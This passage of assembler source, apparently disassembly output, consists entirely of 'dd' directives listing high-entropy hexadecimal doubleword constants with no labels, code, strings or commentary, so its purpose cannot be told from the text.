		dd 0A3E2E7AEh, 63FBCC01h, 0AAD08AC5h, 76A1C4FCh, 367B5535h
		dd 3980CF31h, 0E00BAC1Ah, 6E9C2603h, 0B595F1D2h, 0B6BF57DAh
		dd 9FA40DBBh, 0FAA7B86Dh, 0D089434Eh, 2E84046Eh, 46464837h
		dd 6ED4C550h, 1DACF8E4h, 1F081A7h, 0AF7819CEh, 0F60E980Ch
		dd 4A65D1BEh, 60EF3ECCh, 0C16FDC49h, 1EDFCDC0h,	4992624Ah
		dd 5F790BA7h, 9E64B657h, 15E221F7h, 0D15B26A9h,	1B270030h
		dd 41B4D5A6h, 5CABA884h, 0F50C21ECh, 0FF7CE3C1h, 0AB19BBD9h
		dd 0CCB968AEh, 707E144Dh, 235987E5h, 6314A3EDh,	41BD70F3h
		dd 2226E241h, 600EA093h, 246F364h, 0AC965951h, 0A34204A2h
		dd 583E1C86h, 0D08C81CBh, 914681EAh, 7664245Ch,	0BA221813h
		dd 785CF1A8h, 1B468649h, 0EF80BEDh, 14530990h, 0EADE3284h
		dd 7E79C7D6h, 77F9BE2Eh, 16AC0852h, 0E86A71A5h,	0DE11652h
		dd 334B4908h, 0E3A7243Fh, 0BBD9764Ch, 0DD43D271h, 353FD9E9h
		dd 5A5B155Dh, 0D46DF966h, 0BC019250h, 0ABBC19C2h, 51794058h
		dd 0DC953601h, 633F4409h, 1788B327h, 664D2A2Ch,	0B635E2ADh
		dd 0DCBFB0AFh, 1CC38A34h, 456CB864h, 7D0DDE77h,	17DDC88h
		dd 4CF4B491h, 0B8466797h, 79F3A215h, 0CF18F549h, 0A2E0BA90h
		dd 0FAE5ED60h, 0DCFDD989h, 7CFAE83h, 1E4D0156h,	831FB6C2h
		dd 0EF50ECA5h, 391AC6C2h, 3FD5F60Ch, 14CAD3C3h,	0A988D54Ah
		dd 0EACD2C2Bh, 0F07A8C94h, 0DD08C60Eh, 367878E5h, 0B9993ADFh
		dd 2D938E79h, 655A7F18h, 0F3B4AF55h, 7B7DDF5Eh,	16721201h
		dd 9C0962E3h, 5960EB04h, 0AB365BB8h, 7077F68Eh,	0AA51262Ah
		dd 0B025DF6Ah, 41B5DCCAh, 0C6F3E009h, 1551E6DCh, 66AC972h
		dd 0B89A4E97h, 0D7B10227h, 440C2A83h, 4936FA77h, 0DEE6D657h
		dd 12CB962Eh, 0C9E0A8C2h, 23B3A532h, 0DF9641F2h, 2268647Eh
		dd 0E8F9E1D4h, 5FCF4ACFh, 5691036Fh, 32227708h,	0E1890085h
		dd 17469082h, 77D8D42Dh, 187A7AFBh, 0DF21340Bh,	1E97B0DAh
		dd 0DF6F0B4Fh, 2C1F4DF0h, 0FE20892Ah, 0E36D8C4Ch, 67ADA128h
		dd 65FF1ADCh, 5394BCADh, 49EC8574h, 40FF0092h, 0FBA426Eh
		dd 32151384h, 64D0FBD9h, 0E3D65B23h, 5F18E5C4h,	63469D23h
		dd 0EC12BF9h, 6E3CA32Dh, 918179Dh, 0D3C8B83h, 22950BEh
		dd 71766EE1h, 7D5574A0h, 23BDE4D7h, 773DF71Ch, 323F444h
		dd 4A983718h, 0C8F596B8h, 0B7AEF209h, 28C84A9Fh, 63C2025Ch
		dd 8E00F260h, 94C403FCh, 53A97FD4h, 0BF001CFDh,	95EDDE60h
		dd 94539947h, 371301CEh, 0FB959BC5h, 0F6991762h, 6CAE7D11h
		dd 0A8B7DFE6h, 40976B2Fh, 19F1732h, 0BFCB51E5h,	13D70F80h
		dd 2940CD66h, 0C19D2FF0h, 0FE263200h, 808391F4h, 752B246h
		dd 5C35BD47h, 0BFA24046h, 1D060D06h, 60D16F43h,	0C2DAED19h
		dd 0FBDB0DCBh, 9ACE0BFDh, 0D177822Bh, 0E1B0B594h, 0F5B5651Fh
		dd 57E84A10h, 0D83B7E25h, 567FB601h, 306E73EEh,	7DCB4FB1h
		dd 5FA9C833h, 5DDDD142h, 981C949Eh, 4A8806DBh, 0BBC2E6FAh
		dd 77480761h, 683A45F0h, 0D22DDBD6h, 0E061DAD6h, 871CA9B5h
		dd 5C2C60A3h, 7EF7BE9Dh, 88D28F97h, 0BF6DE293h,	38A3C571h
		dd 0DCF93407h, 0A86B8BF6h, 0E4FB1E9Dh, 7A1C6020h, 733022C2h
		dd 1EF382CCh, 17CEF95Eh, 0D901AE5Ch, 4A9ACE1h, 0B6E7431h
		dd 4B1A72EFh, 0CADD479Ah, 691B2346h, 461F9269h,	0C16E7BD5h
		dd 0C331811Bh, 40F1215Ah, 59EE7A5Ah, 0B20D9400h, 67826995h
		dd 0E4E2CB9Dh, 0BE1BC809h, 0CD444B0Dh, 9820F9D9h, 97504A52h
		dd 11A96AB1h, 2CD90FDAh, 3B17066Ah, 0A16ACD6Ch,	91477DAFh
		dd 6C0AFE2Bh, 49F2BEDEh, 930DC06Dh, 80CADE96h, 0CE371A83h
		dd 0A3F2898Fh, 0AF3E9BA2h, 0ABCBF274h, 0D6A3317Bh, 88892C22h
		dd 0A4E8816Eh, 80C9AB8Ah, 5604B0DAh, 405B9D59h,	0B738C42Dh
		dd 0D9F07E68h, 85DA8844h, 82F15F61h, 0C7CDD0C3h, 84223C38h
		dd 4DE2ECD9h, 0C54E6EF3h, 0A8B62746h, 0E2713E26h, 3FED3C98h
		dd 4B4EC293h, 661A7EDCh, 1DB9A199h, 0C7CEBAD6h,	0FF8F07A7h
		dd 0EA0E8518h, 0B14BB33Ah, 0A375A931h, 9267D781h, 10D21953h
		dd 8118F2BFh, 0C384E4D1h, 146C2155h, 0F1B06B38h, 72A2FEFh
		dd 0F49756Ah, 331E131Bh, 20CA7B85h, 0ACAC868Ah,	3149155Fh
		dd 0A86475CFh, 0AFF676F9h, 0D118E571h, 0A551C7A9h, 1326D27Bh
		dd 9803B89Bh, 0E5A5B13Dh, 8E3803EAh, 33E65E33h,	7BA101ABh
		dd 6D143DECh, 6296D571h, 0A47186CBh, 0D9152F24h, 7FCAAA78h
		dd 67CAC018h, 3F50B98h,	0D56A970h, 0E8528208h, 0D3A3AFD7h
		dd 95851AB3h, 31AB029Bh, 4A036924h, 316BCDDCh, 70454AA1h
		dd 78C4A5F8h, 3D75AD24h, 0EDC93C39h, 0F75E3F0Bh, 0F7E1C6ABh
		dd 0A6057A8Eh, 0E6E4B31Bh, 0B0C5891Dh, 0C23D04EAh, 8300616Fh
		dd 35D4A2E2h, 88B7447Ch, 90DE7E29h, 46CBEC9Eh, 963D4873h
		dd 6CD463C5h, 0D5689D46h, 49F9DC8Dh, 5C86375Ch,	859E5D70h
		dd 1C8417ADh, 0E3A7E263h, 5B3E922Dh, 803852F6h,	80AF6BE5h
		dd 7ABFFAA1h, 0B7A6D250h, 0B3BFF155h, 97E3DDE5h, 368EC5CFh
		dd 0CF7E24E9h, 548304D6h, 0EA5E0144h, 2848ABDDh, 0FA7400Ah
		dd 4995B1CAh, 41F4FD3Bh, 62993463h, 82536D37h, 0E28AE007h
		dd 2D56B800h, 4A402FFDh, 0F7995DD3h, 0CF7A3009h, 32E0C461h
		dd 0DD0797FDh, 1105FF5Ch, 62654B47h, 9CDAF7BBh,	46D56391h
		dd 0D63507BFh, 376830A7h, 8DC8C7CEh, 2A21EA8Eh,	0CB1FC3E7h
		dd 2284B3DDh, 8A8222B6h, 70F6A04Ah, 55B3AD31h, 0D6525A4Fh
		dd 1EFCD350h, 0A807E3E2h, 0CA49E695h, 972189C5h, 0C14B526Bh
		dd 13795D3Fh, 0F690F814h, 4B3FBE2Eh, 0FC0EB1E8h, 3DEC43D3h
		dd 7785E0CBh, 0A9FE66BAh
		dd 0BB354140h, 3225AAF8h, 715B27E0h, 0CAE5D9B6h, 0BD1EB8ECh
		dd 8D4D34A7h, 67FD7DF0h, 0B861DEDDh, 0CD2ECB0Eh, 0C316AEAh
		dd 1E2FAB63h, 0FA28A7BDh, 6C5D442Dh, 0E24058FFh, 0D2C75C55h
		dd 32655E9Fh, 0DE8520BCh, 0C4F267D3h, 0D3A6B44Ah, 64C27EA5h
		dd 88490F9Dh, 829481EFh, 96940482h, 8580D343h, 0BE2D7B81h
		dd 7A608EADh, 0B6AE9B6Ah, 0E355F477h, 6EF940FFh, 635B3A9Dh
		dd 72EE3293h, 136CBEC6h, 629DE9CCh, 0DA2CBB9h, 9D80F1E5h
		dd 2DF3BD64h, 0F9A74D06h, 268BBD0Dh, 0E8FE665Fh, 6166E53Ah
		dd 0A0285F97h, 3E5CCCD1h, 0AFF86A0h, 26A58090h,	22081CBFh
		dd 0E31FF06Ch, 0A3B00A20h, 96C5BDF3h, 0CF5CCA3Eh, 0D49B65C4h
		dd 49A69154h, 0A1E81387h, 0B2D223FCh, 34CCC75h,	8266D928h
		dd 75C51FA0h, 0C761FBF0h, 25C457CFh, 111EF682h,	0E976896Dh
		dd 17283DFAh, 9FABDC10h, 772A2099h, 7BA9124Dh, 74226186h
		dd 271783D0h, 33C002B5h, 95D30FCCh, 17338047h, 0F269343h
		dd 608C9AD7h, 0FA4F405Bh, 4A006091h, 639A2096h,	0BAD247CBh
		dd 1A5EE01Ch, 55F8F1E2h, 4E95C5B1h, 77ED89A8h, 0BF03977Bh
		dd 0B87CDA75h, 674E6744h, 4163CC4Fh, 146AC1ECh,	29448D8Dh
		dd 0C055EC3h, 218B896Bh, 0B2C87D5h, 0B7872789h,	994510EAh
		dd 52DC28FCh, 0FAA685B8h, 298770D3h, 53D88E33h,	3EAAB083h
		dd 0C5595986h, 86DAC15Fh, 0BAE744F7h, 5EC81711h, 18D4B6F3h
		dd 190F5DBFh, 0C2CC9953h, 0EA75092Ah, 95B03FB9h, 9685F859h
		dd 0A891FC3Dh, 0E18100F3h, 7BC2E8F0h, 432EE82Fh, 50210E8Eh
		dd 0E331A56Ch, 6EE3735h, 9BEB08F5h, 8391C7AAh, 0F97F1653h
		dd 522152Ah, 0BB2AC2C1h, 0C365857Ah, 614515A0h,	1E21AD2Ch
		dd 1E44B356h, 8FA7F9E3h, 61965CC1h, 0CBCBB67Ah,	3D13126Fh
		dd 947ADE9Bh, 0BD943F3Dh, 0BA4EF29Bh, 5568AAAAh, 0F62FF13Bh
		dd 6658D871h, 0F3E8D36Eh, 0C41D8ACAh, 925F0F50h, 6F2F0ED6h
		dd 184104F5h, 0AD0B727Eh, 380DBAAFh, 69675750h,	0C31FBF94h
		dd 1A00EAC6h, 596BCA42h, 5AA17953h, 219726F4h, 0B7C4B610h
		dd 280C9375h, 0A0C6A1F4h, 6953C65Ah, 1B7450B1h,	9F198FC2h
		dd 1CC3EDA2h, 60A52A05h, 0EA1FD9CBh, 485951BAh,	884A9721h
		dd 0C55B15C8h, 28E5B448h, 70AA7FACh, 0E60FEFDCh, 0C435817Ah
		dd 0E49AD6CCh, 257366CFh, 23B87F9h, 2AE9B256h, 9A137984h
		dd 83DB414Ah, 0D6EA344Dh, 12202E7Dh, 86DCBEA7h,	9D537127h
		dd 9BDD284h, 50985070h,	0EEB70669h, 778E63EBh, 8D714F83h
		dd 0E95854CCh, 0AA1E21B1h, 0A4A55719h, 2E0CD9A2h, 8E8E670Fh
		dd 4BC04AB2h, 0B5E5877Fh, 59085F4Fh, 38B22AB8h,	186F8870h
		dd 15CAFD1Ah, 7B1DDC0Eh, 4F578915h, 50D1C829h, 0A7BD8217h
		dd 6E6D1011h, 874D139Ch, 7579687Dh, 64BEDF28h, 2C97674Dh
		dd 0F44E14A0h, 45CD3D5Ch, 2B2474A0h, 0DDA03FD3h, 0F681F33h
		dd 0F96372B6h, 294358Ah, 9CF775CDh, 31240167h, 0F1E59F79h
		dd 0DB91E8F6h, 0FB1AFEE3h, 51428DADh, 5056DB2Dh, 0DF5442A0h
		dd 906BEB65h, 953AFE9Dh, 18C0804Dh, 0AB0216AAh,	9B10714h
		dd 2D2D67EDh, 0ADD493E6h, 0C11445C4h, 8EC0BEEh,	72A999B8h
		dd 0E37A80B6h, 0BCD00F33h, 0F92E334Fh, 3150BC94h, 24F03348h
		dd 17EEB4F1h, 743DB345h, 44D27FDh, 15482639h, 0CDB96D31h
		dd 7C1F3F27h, 99AB76A7h, 0E8BBBA4Eh, 94B8E266h,	0ED8C1D60h
		dd 2EA334A9h, 0C9212D8Fh, 5B3AA28Ah, 6AF41982h,	715D93A2h
		dd 474E97C0h, 0E2B57CE5h, 690E743h, 1D4B7DA1h, 0A5ECC5D7h
		dd 0F9DDE02Eh, 2FC9D4BFh, 26FEF86Ah, 0FC95B05h,	9653E7E0h
		dd 693676D2h, 53AAFF6Ch, 7E1A8F73h, 338CC0D8h, 0BC428FF1h
		dd 3972C2AAh, 233C0B42h, 507BA870h, 2F5D78CCh, 88668465h
		dd 0B899C01Fh, 0F9BE8DE9h, 0E7F3C06Fh, 889DBACDh, 0AAE46010h
		dd 38FFB26Ch, 6F9D21E5h, 382627B5h, 0CF0FC6F6h,	0D5D771DAh
		dd 66667C9Eh, 0DDEFCE3h, 28F2ED38h, 0F3113628h,	0C8B5E3BCh
		dd 1E1A9BF3h, 16F80763h, 47078967h, 186F2FC0h, 8ADFA336h
		dd 5DF3F602h, 0AC0E7CA3h, 73BF84CFh, 316258A2h,	0E0A8615Ah
		dd 7A3B0DFFh, 9DDF8426h, 13C8F3F3h, 3CA416B1h, 4101B690h
		dd 2C52E6FBh, 493B8D45h, 934A077Ah, 0C870CA18h,	188C67A5h
		dd 51ECA03Eh, 89EE2136h, 0AF9CFC32h, 77DC2B66h,	6DAA065Bh
		dd 7A91274Ah, 0E4CB1866h, 13D84275h, 4884F006h,	0F7CEBC2h
		dd 0B3B3176Eh, 0A12F58Bh, 9FE66D86h, 3D5B42FEh,	76DEE0E7h
		dd 8A5CB501h, 5FD97E02h, 0BFEBB60Ah, 0A01DD6FDh, 4A07C2DDh
		dd 5869B364h, 5A7537EDh, 0B13D4109h, 6B21E69Fh,	391E45Ch
		dd 26FA2E81h, 5802C34Ch, 3E4760B2h, 896440BFh, 7FF42FFEh
		dd 3938B6DAh, 5DA4F793h, 0CEF63819h, 45AC8836h,	86ED0D30h
		dd 308CD2E2h, 0CF09F644h, 83CF9E4Dh, 6FB9DA5Eh,	5CEA2E9h
		dd 3F1F0844h, 2F7615CFh, 0BEB7DF59h, 0A72BD6ADh, 9B42EB85h
		dd 5630937Dh, 29E05DFCh, 0F7CF61Bh, 9CCC30Ch, 7EAB2732h
		dd 0E09A8DDh, 31B3E9D5h, 0C482168Ah, 1148D789h,	6328D1Eh
		dd 2B801785h, 6B5009D6h, 8160E07Fh, 51B1B66Ah, 0A7ABC27Ah
		dd 0D6DE5226h, 0ED3F33F5h, 758FFACBh, 1A544C9Ah, 7A2D3010h
		dd 63376E24h, 0D6623F48h, 1300667Ch, 73E296ECh,	0C631EC93h
		dd 0C6555E55h, 0B03DDB50h, 55BBB696h, 90A0680Fh, 0A77670F3h
		dd 3364C48h, 5CC9A01Fh,	74D7229Bh, 3D5D1C77h, 81FDEEA6h
		dd 0CE1F63AFh, 43490885h, 31C99426h, 0BB15F562h, 3BCACF14h
		dd 0C4739917h, 44435F85h, 3D09542Bh, 0C941B02Ch, 188BBCF4h
		dd 30AAF282h, 0F5754E23h, 0E98F92B8h, 3C6FCC32h, 0AAD04472h
		dd 0B26F8B20h, 6CE7F6A3h, 4B10169Eh, 0C08308E6h, 0C65AEC9h
		dd 0E0BD1599h, 6B477FAh, 0A6313B43h, 0FC37DBD9h, 0C3A17898h
		dd 46A38739h, 0A76E46B0h, 8B7162ACh, 5364EE5Ah,	37D6F0F5h
		dd 0C8FE8B03h, 82BA27F2h, 32C27826h, 0FD3E78F3h, 0F01BA96Fh
		dd 0EBB0D63Ah, 0D52D7A4Fh, 8A806EB0h, 57A87EDDh, 62EF6841h
		dd 52AE355Eh, 32C370F5h, 36E9988Ch, 0A709E34Ch,	0D006FC09h
		dd 91A36460h, 0F8784E35h, 5074B736h, 0FB4F5663h, 93C6C6D1h
		dd 0CFBAECABh, 751B9645h, 6AE0F0A3h, 6F7C2643h,	0ABA51BF8h
		dd 81DFCC2Eh, 420BB15Fh, 35C7F6E6h, 0D34C00E9h,	0F247DFDh
		dd 0F8D5B2F7h, 634A2BEDh, 92BD91B9h, 0DAEE9E9Dh, 0F803E5C2h
		dd 8CFFCE1Dh, 61116AECh, 1A27015Bh, 0FD7CC661h,	885D2708h
		dd 5BA1534Dh, 1ADF5AE9h, 0CF2BBBD8h, 0EA5821C7h, 0BA49BDA8h
		dd 0F6746C7Dh, 0E6F529AEh, 49F245FCh, 735773F5h, 264FBD11h
		dd 0FB7DBD0h, 8986970Fh, 0C7C04A65h, 0B0464CE4h, 31F9803Ch
		dd 2D82767Eh, 82950DE9h, 0DF3CC523h, 0C58836F9h, 0D733175Bh
		dd 6FEFC13Bh, 20B7B641h, 125729AAh, 0FD22994Eh,	9DB1FFCh
		dd 8E8283CCh, 32CF031Eh, 60C4C51Bh, 5012B490h, 9D21174Bh
		dd 20EFF32Ah, 4507448Fh, 1FCC574Dh, 78AF12CEh, 59935313h
		dd 881CAD60h, 1DBC5947h, 426B08CBh, 979DFC72h, 0CD98D69Ch
		dd 2718D6D4h, 39782965h, 0F439034Dh, 456640h, 0BF71264Eh
		dd 0BCB9FEB6h, 19513DA5h, 112AA88Dh, 8544F2CFh,	99293611h
		dd 5835B320h, 0A9550103h, 9D380C34h, 0FCCFFDCAh, 3838DC48h
		dd 69422908h, 5D8A4CCFh, 0A7F088EDh, 0E94F8EEDh, 4A6C63ADh
		dd 3DBFDD2Eh, 6ED857C7h, 151CDDFCh, 0D4A53C53h,	0CD1B012Ah
		dd 4E323C48h, 0EB1EB6DDh
		dd 6035B336h, 9F4E358h,	1492D6D7h, 2A29BE76h, 0CB115BA9h
		dd 8CCEDE8h, 1F99E71Eh,	668EE7D9h, 452B2DCDh, 0F1596BC1h
		dd 92E33770h, 3BB21C9Dh, 46F53A5Dh, 9075A793h, 0DD1392F4h
		dd 8FB12CE7h, 48A59630h, 0AE1408F0h, 1E91BC38h,	0D1462C8Eh
		dd 7C7F40C2h, 7DF2C2Eh,	1FC1F27Bh, 0DB8A5963h, 31163B8Eh
		dd 90DA257h, 963332A5h,	0BA79AF70h, 8CA00FFBh, 0F423449Eh
		dd 0C5D9785Eh, 0A7D5396Fh, 0DFC81DFBh, 0FEDFA6B8h, 8A2D4CC6h
		dd 91A0D42h, 9DAC0984h,	44FEF5C0h, 2A291B67h, 0EB0FED6Ch
		dd 84BD28CCh, 29D01D83h, 97BBE2D8h, 3FA7D051h, 38C91573h
		dd 0C741AD4Bh, 8C1B1E2Bh, 47661054h, 36DF55B2h,	0E65E87F0h
		dd 8FB71ACAh, 930503FCh, 1F317FEBh, 14FD5A7Fh, 0C79FCDC4h
		dd 5100D1B0h, 0B7D1C84Ch, 2A5F768Ah, 38AE8BC7h,	96C35973h
		dd 0F359C5CCh, 0C21146DAh, 4E0D7B58h, 2883BEE8h, 0EEA479F2h
		dd 77A48298h, 91CAC4B7h, 6DD90118h, 0B18245F9h,	48CEFA8Dh
		dd 46B9B01Eh, 57941D4h,	9A4FC50Eh, 0D041F861h, 6E651060h
		dd 342AAE4h, 0E4856C99h, 0DD779C44h, 0E4E80D7h,	5DE5D477h
		dd 7A1013F3h, 98D553C4h, 90D5A51h, 1CD12039h, 0FA837946h
		dd 79022A43h, 6417B90Fh, 509B1A9Ch, 0EFC00Ah, 981ED311h
		dd 695D90CEh, 0DAFFAC80h, 0A407A7B1h, 0D6001FAFh, 9C83D05Fh
		dd 651AE877h, 0F07F5821h, 8F2EC721h, 6E376654h,	80CDA78Ah
		dd 88AC871Ah, 0D9F431Bh, 65591BE2h, 0FFDB0447h,	14716E29h
		dd 0A1F9BA52h, 0D7973D7h, 0B55EFCE5h, 5D942AF9h, 0AE6DE531h
		dd 39070D4Dh, 1721D282h, 2A6B765Ch, 0A75BFB6Ch,	9556BCF4h
		dd 52138A22h, 1C2DC66h,	82C9A866h, 5A621BCCh, 2FD7DB32h
		dd 0B1BF4F84h, 635A1E0h, 0C2E2AF7Bh, 0BB4134FAh, 0ABA669A3h
		dd 9FF77FADh, 1F11AD4Ch, 0F31C95ABh, 41D37138h,	826EA078h
		dd 0C31DE055h, 0EACECD08h, 0BED92F74h, 8AD20C58h, 428B09D4h
		dd 599B062Bh, 460EDB37h, 0A0A43C56h, 6CEB942Fh,	74C44E04h
		dd 7E6B8356h, 85DF78E4h, 65A3E1B0h, 3CA44D8Ch, 99BBE8Fh
		dd 0EC7CBD1Ah, 322C8Fh,	0E38BC503h, 7F49333Eh, 93909641h
		dd 613CE625h, 69C47F6Dh, 2DC21FFh, 38028CBFh, 1E04F8B2h
		dd 76529D98h, 0B01A222Dh, 63A16838h, 1868F8B7h,	6047F94Ch
		dd 2D593B60h, 0E79093CCh, 7497651Ah, 3759059Dh,	890D44F6h
		dd 0E52734BBh, 87472A8Ah, 96F2356h, 48AB1C12h, 0FB7F017Bh
		dd 1B1741C3h, 0E6C01733h, 0B2AD2D7Ch, 208D39E8h, 5814DEEFh
		dd 6856B3EBh, 2998D548h, 0F867ADEBh, 0AA7EAF79h, 0AE09689Fh
		dd 555C65E5h, 0B4AFA1B4h, 43582FBAh, 7D8229C4h,	0C0A93552h
		dd 0D76CE311h, 4EA9E916h, 60A22242h, 4B47AA1Ch,	9FAFF921h
		dd 0FA49471Dh, 4B764C88h, 1FBFCFFh, 9EB9E1A6h, 0B63DB86Ah
		dd 6749206Eh, 0AFC923FAh, 0E40D29DDh, 68017DA1h, 0D33D5C2Eh
		dd 81D1B02Fh, 0CB32E34Dh, 5096527Dh, 370F6DEAh,	0F68AC4F4h
		dd 0D0F8F5D9h, 0FEDD3CDDh, 4944F6E4h, 0B09B9596h, 9B2B8C8Eh
		dd 2D771A7Ah, 4DD50CABh, 0B9E6153h, 0FD0EBCA2h,	4FE8A6D1h
		dd 7C19F0C8h, 4F01EA37h, 0B8C93F60h, 412A66FFh,	6DC898BAh
		dd 0F764E8DBh, 0E58F0035h, 0A0B1781h, 0BD2CE4C9h, 0AA15B6C3h
		dd 0CB38F2B1h, 7C5A4B62h, 8844D787h, 6E688006h,	0D1EDDE0Dh
		dd 0DF92DF33h, 0CCCF5FFDh, 64D43C8Dh, 6C38D6CDh, 4F4C21D0h
		dd 0D9163CD2h, 17DC02F3h, 0E9C1958Bh, 0A34081D8h, 0C5D61BB7h
		dd 551C576Ch, 0A09A0226h, 0A0EACFD0h, 472EF9Dh,	20A9B8B7h
		dd 327D7765h, 5ED5C32h,	938E8060h, 505B3B66h, 0D4756539h
		dd 7091AA7Fh, 4F3C14CAh, 6092798Dh, 2C396936h, 6A9A2058h
		dd 0CB70314h, 8D9A4B02h, 9B00D524h, 0D249EE8Fh,	0B06CDD2Ah
		dd 0CDCC641Bh, 22ACDF15h, 0CD7F266Bh, 0F516BC2Ch, 0B00E44A8h
		dd 0A0DB9587h, 18C42958h, 24F60BCh, 7964B818h, 815A6E7Eh
		dd 94FE903Dh, 41EEBC0Ah, 678E49D5h, 0B686F250h,	18020D99h
		dd 96F88E99h, 614F2A60h, 10A61E24h, 8DDF7808h, 5E179FF3h
		dd 92E3D834h, 0A03DD7BAh, 7E26C7BFh, 5966B9E4h,	0D02F747Ah
		dd 4420624Ch, 1D1F76A7h, 0D98EB82Ah, 49882B82h,	0F300A25Ch
		dd 150E68ADh, 7B2A0DFBh, 0C45B0443h, 3930A9BCh,	0FE3CB648h
		dd 0A1AE77DBh, 3F05CF1Bh, 0B64F2D30h, 690D83F5h, 0E0A9F001h
		dd 0BA40694Bh, 76442569h, 0D582C2EFh, 0D6ED3B59h, 8B5997FDh
		dd 5B40C115h, 82BBAC3h,	1B081CD0h, 0D7571FBDh, 0F9DD0ACEh
		dd 8A8C4DBBh, 0DD80815Bh, 0E99569CFh, 0DC79B2FCh, 0D821EC37h
		dd 7A46079h, 4C09AD5Eh,	0F344F693h, 5B4ACAA5h, 450C2C46h
		dd 1918C81Dh, 0FD905F95h, 0D7F13E6Ah, 7191B84Eh, 0A4F5D6FAh
		dd 576C01CAh, 805C9811h, 0E778D44Dh, 0F4978B0Eh, 7032CE4Eh
		dd 0A79FDEB9h, 9F2B23F1h, 3F9086AFh, 616EF150h,	0DB832DD0h
		dd 75F3C68Dh, 80CED2E7h, 900DAEA6h, 946A1D76h, 6692C42h
		dd 2C947B50h, 8E233C80h, 0FC4E27C2h, 503CA9EDh,	3AA6EE5Ch
		dd 93F66D59h, 0C8C71387h, 80D3428Bh, 52D641F8h,	4AF5E3E1h
		dd 0ACE36698h, 18B69E25h, 6A0BA692h, 0D34C9795h, 75EFDB7Ah
		dd 0A321D008h, 72134331h, 51CE7F92h, 83FBBEFBh,	0B0F256E7h
		dd 2BF54730h, 6533A6B4h, 410CFA7Bh, 254ABAD4h, 76FADD32h
		dd 336F5D05h, 1917B2Fh,	27D5D447h, 0B94DAA36h, 32C0B28Eh
		dd 0A1F2B33Bh, 38EBDEF0h, 0DA5D849Fh, 15398339h, 51F2C065h
		dd 50C7280Ch, 8A515A11h, 72116920h, 486F9E2Ch, 0F94ACD9Dh
		dd 0B2F15A0h, 0D9A284A0h, 34F3E98Eh, 0A2E58371h, 679CD74Fh
		dd 98333B49h, 9D98C0C1h, 0BC0AC1C3h, 0ED2EE906h, 0EB18DF63h
		dd 0D1B95276h, 18822C22h, 61CD85F3h, 868221Ch, 0CEC84891h
		dd 7CF822Ch, 4148F9E3h,	61B194BDh, 99079121h, 81336F2Fh
		dd 508C7AE5h, 39F84D57h, 0DC571D1Fh, 601597FDh,	77F3F95h
		dd 80280F0h, 95136674h,	0D6AD241Fh, 0BF577E37h,	80084660h
		dd 4F4E5DF6h, 811BC703h, 4AC85463h, 62AC410h, 6F7D516Bh
		dd 4554BD8h, 0D44531B4h, 0C3BB4D64h, 6D1EFB77h,	73E9DA50h
		dd 0D5077A85h, 0E0C3D443h, 5A74F7C4h, 0E464E16Bh, 0C40D94F9h
		dd 1BABF10Ah, 50740289h, 0D1D5ED28h, 0CC0FAB28h, 2EFD6800h
		dd 54FBA5DFh, 0B01D88C9h, 0EAFB59F7h, 92F2E7A0h, 23B3B212h
		dd 9690A72h, 8B1C1DE5h,	0C71FA447h, 0B2D3B8A5h,	1A22FBA9h
		dd 1BD6B6DCh, 0D3C4CCA5h, 760AC111h, 0D4432531h, 3421E905h
		dd 0D03F291Ah, 0A6EB8694h, 7BB76788h, 0F6298880h, 2DE2E612h
		dd 597F06EBh, 0A5DB2E08h, 1849D9CDh, 6365538h, 0B7AB165h
		dd 0F9E54FAh, 0E92C3252h, 1C4D8E9Bh, 0C8F90B93h, 0B5159A78h
		dd 78B0BBC5h, 8FFBAF2Ch, 2EF30CE6h, 0A6C7F174h,	381C4839h
		dd 0C5016ED2h, 9B5F8AA9h, 8408B62Fh, 0C5808DB2h, 26FE5DCFh
		dd 6A68DCF6h, 653C0695h, 951EA8B1h, 711C7838h, 0C7F139DBh
		dd 0DDA6489Ch, 30EE47E9h, 8D86635h, 0B0BEF3CEh,	65A3057h
		dd 0A2C50B8Ch, 836F93D6h, 0FC7EBE01h, 0D4CD6235h, 0DF10AD60h
		dd 6E93BF1Ch, 55B409BDh, 0CCE128B0h, 3E62FAEFh,	6BF16A78h
		dd 1FAAD351h, 2ABE2B86h, 4E565A38h, 0FC1872BAh,	360B2160h
		dd 0D877D643h, 8A1D39DCh, 28EBDD73h, 0E69741C3h, 0FAF6CE57h
		dd 0F0981CDBh, 0CC9F377Bh, 4F72C868h, 747DE20Dh, 7BAB0BF5h
		dd 2E4614C4h, 1665848Fh, 519CB0B0h, 77A56507h, 0E049417Dh
		dd 3060FD7Fh, 0E7C7AA9h
		dd 0A563C122h, 1FAA00B4h, 0DDCDC990h, 0F97812BFh, 48E88B6Ah
		dd 96080EC5h, 0E7F151E2h, 0FDA00386h, 9566706Dh, 0BB2B213Bh
		dd 623D7E6Eh, 81F202F3h, 0BEC4B90Eh, 3F05EE04h,	3951968Ah
		dd 8E212FA4h, 7FE59A2Dh, 49307EAh, 0D0D10124h, 0B46199BBh
		dd 0D70E825Ch, 7B9BD3F3h, 0CE206D5Dh, 0DE10C06Dh, 1028D0E5h
		dd 19A3E02Eh, 0B600AE78h, 0AC9B3A17h, 40A0F4CFh, 2ED5A9C7h
		dd 30654D12h, 5E1786F9h, 1B3945B8h, 5DA40D20h, 0AB5FB7B1h
		dd 0D3466F2Fh, 0BF38B28Fh, 0FBA1ADD1h, 546BD89Ah, 3472ACD0h
		dd 0CFD451F8h, 328B05FFh, 0F122EB97h, 0DDE5DED2h, 2E5DD568h
		dd 638A0792h, 4ED0ECEDh, 7C8CA1B8h, 2132C02Bh, 2B1120E4h
		dd 8D417CFEh, 0AD48B0EAh, 0C29C2728h, 0F125997Fh, 0BDECEE51h
		dd 7FAD198Eh, 0B3C0BF4Bh, 0BBFD06C9h, 9B25000Ch, 3ABA5924h
		dd 0C8D5400Ah, 124FFB1Dh, 2A81CBAEh, 0C9BCD147h, 9A9A14DBh
		dd 0EAE13FD4h, 0B005B369h, 868C6415h, 6C61A47Bh, 3B802DD2h
		dd 226F8729h, 0CAA44727h, 27B4EC4Ah, 68F1D2F8h,	700596ADh
		dd 47E76DD2h, 3F8E5772h, 10DB546Eh, 0C70BCA3Bh,	0EC1B3758h
		dd 0C46506ABh, 5A6A9F8Dh, 0CCE68ED8h, 0B4EB487Eh, 0D7A5D68Ah
		dd 225B3208h, 700C697h,	1EB0D770h, 179E445Ah, 0C79526F1h
		dd 0A92BAE06h, 0A6988107h, 82FF2484h, 77CBD845h, 5ABF2381h
		dd 6F0E73B0h, 8E67F533h, 1628CEE9h, 32B7449Ah, 0DC71AEF0h
		dd 0F9B1B365h, 665AAF63h, 75535BFBh, 576C4419h,	5C617C3Bh
